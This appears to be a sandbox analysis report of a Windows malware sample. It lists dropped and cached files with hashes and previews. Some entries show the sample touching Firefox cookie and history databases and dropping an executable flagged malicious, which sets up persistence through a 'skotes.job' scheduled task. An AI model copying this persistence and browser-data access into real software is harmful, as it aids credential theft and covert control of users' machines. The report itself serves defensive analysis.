Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\e1d0665f-3913-44f4-bb59-1113fd6f9a6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsBAEHIEBGHD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1902080
Entropy (8bit):	7.949873240471391
Encrypted:	false
SSDEEP:	49152:d+NNooX6+IMF0uqSYgXRVb/LrDGvJpTb:oNNVXBIjgVTLWvJp
MD5:	9026CA6BC267A2AC0E092E352CB39DFE
SHA1:	081DBB285587965762103B87F260F1371AF58087
SHA-256:	E2B42DA09CA84002F6F77F31C1ED5C2D14346AA5984FFE8A494FF1E69C35A68D
SHA-512:	F03A4FF06FAA9C32F1DDFA39DA15C315BC12EDFC04199F48A88C6FB7CC3C74612580668FC51D2303D24A70D11075BFF48E148A21C17244ADB7435AD12AA91CDF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K.....q.....@.................................W...k.......H...................TgK..............................gK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...bwinbwch......1.....................@...iplgynhm.....pK.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBAEHIEBGHD.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4528479524182782
Encrypted:	false
SSDEEP:	6:/cXUhXUEZ+lX1CGdKUe6tE9+AQy0lBxl/Ot0:+4Q1CGAFD9+nVBj/Ot0
MD5:	4347819D23C1AAA9E2069C39EA7F741D
SHA1:	D7860CC3DBF1726722A2405550713175AEB881D8
SHA-256:	A03ECDB1B6705E467A524E65141C33EDAC2D39718630F15A5715624E4E3657C9
SHA-512:	D2C77668C045DA4DB88B959CDF51B38FF0CC70B3E3A1A167ED035EF037F5E6772D3010972A45BFEDE280D6D99115C4519AEBBCD4A2DF2CBECB2B722E0F0A0541
Malicious:	false
Preview:	....(7'...A...P!)-.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................;.@3P.........................

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3513)
Category:	downloaded
Size (bytes):	3518
Entropy (8bit):	5.839999009842138
Encrypted:	false
SSDEEP:	96:f1zsliyqeTaGt3vVbW4f0mN3mx75KdRffQffo:fQTt/Nd8m9+Kj
MD5:	AE3C12BFF0F11D1E89D27963065E552C
SHA1:	B5CD63F9FD251DC4064B3DB9C728FFBF1E3DAF1B
SHA-256:	56CB16D8548F2355CE65264357EE9A60E746BC310CE44E6BD15846E2A91CDBF9
SHA-512:	4FCF58FCED2AE62696BE89FD0792ED936371D9E445B4AA769BA266391061CF398E4F3B97830CCB158007BFF6628D7FB99824A950AB43D6ACDCF2190155E395C4
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt strands hints","overwatch hero hazard","social security payments","pga tour","lantrip elementary school principal","cascades heavy snow storm weather","games awards nominees","bluesky"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wMXY2MWISFk5vbnByb2ZpdCBvcmdhbml6YXRpb24ylg9kYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQURJQUFBQkFDQU1BQUFCdkM5UkpBQUFBdzFCTVZFVUFPRzcvLy84QU0ydmxBQUFBSW1NQURsenE3ZkhmNHVoTVk0bFJab3FIbGF3QU1Xb0FKR1J3Z1o3TzFOME5QSEFBSDJJOVdZSUFMbWtBRlY0QUttZjA2T29BRzJBQUdGOXFmSnJFeXRYL3pNdmU1KzAyVkg4QUNsdWhxNzJ5dXNqMGdIOVlkWmRhYjVGN2lxUUFBRklBQUZralJuYi8xZFAvNU9PQ21iR1ZxYjJWb0xYNjJkbjl0clgrd2IvOThQRDRpNG5zV2x2MGxaWEszdWpxSFI2ZXRzam9PanpvTFREcVNVcjhvNkx5Ykd5d3d0RWNUbjF2aTZkSWJwUGs5UGt3WUludktVL01BQUFFbUVsRVFWUklpWTJYQzFlalRBeUd5UXdNRlNoM0tiUmNLcTJJdHJacTFlcXF1L3

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.4352823838370545
Encrypted:	false
SSDEEP:	3072:fPkXyPqO7UX1Hme9kZbs4Voc52SnXqwQ2i6o:fwyWFHrp4Voc52SnawQ8o
MD5:	2B699EFD15CE9F0256251865E39C172F
SHA1:	2E2F0F6EF5AAF6BF4517DF4C6998CD2B9CC1C9E2
SHA-256:	A571348A79DCB4F08A64A305B352475766023B7E9D0EEA4B95DEFD53DC083FFA
SHA-512:	5F2DAD3F9C87EEB638B93D27D22E01FACDE931EF25F54C7F5C8DEB31867CA7611CC7F8BE65E3D11FB681B8355858849C981609FB203B92C3CF243D33D4A9A67E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
